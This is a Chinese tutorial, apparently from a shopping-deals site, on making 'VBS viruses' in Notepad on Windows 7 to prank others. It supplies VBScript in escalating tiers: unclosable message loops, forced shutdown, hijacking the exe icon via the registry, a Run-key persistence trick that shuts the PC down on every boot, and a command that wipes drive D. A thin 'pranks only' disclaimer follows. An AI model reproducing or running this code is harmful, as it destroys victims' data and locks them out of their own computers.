在平时的生活工作中，我们偶尔会无聊，因此就想搞点事情出来，于是有人就想制作vbs病毒，可是很多人不知道Windows7怎么制作vbs病毒？为此淘多折赶紧整理了Windows7制作vbs病毒教程，感兴趣的朋友可以来看看。
方法/步骤：
1、首先，打开记事本。
图1
2、输入代码（整人级）：
'--------------------------------1-关不掉的窗口--------------------------------do while(1)MsgBox("哈哈，你关不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-输入“我是猪”--------------------------do while(a<>"我是猪")a=inputbox("快在下面的框里输入我是猪")if(a<>"我是猪") thenMsgBox("赶紧承认!!!")end ifloop'--------------------------------------------------------------------------------
3、（中等）：
'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图标------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCR\exefile\DefaultIcon\","C:\Windows\System32\imageres.dll,-2" '这里的C:\Windows\System32\imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------
4、（破坏级）如果无法恢复，不要怪我咯*_*：
'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------------------------------------------------------------------
如果代码有问题，无法实现应有效果，请原谅。（一些vbs破坏性太强，我不敢实验）
图2
注意事项：
这些代码仅用于整人，不可以利用这些代码做违法的事情！
以上就是Windows7怎么制作vbs病毒的教程了，很简单吧，我们只需要新建记事本，之后粘贴文章的代码，最后保存为.vbs或者.vbe格式的文件即可。
,
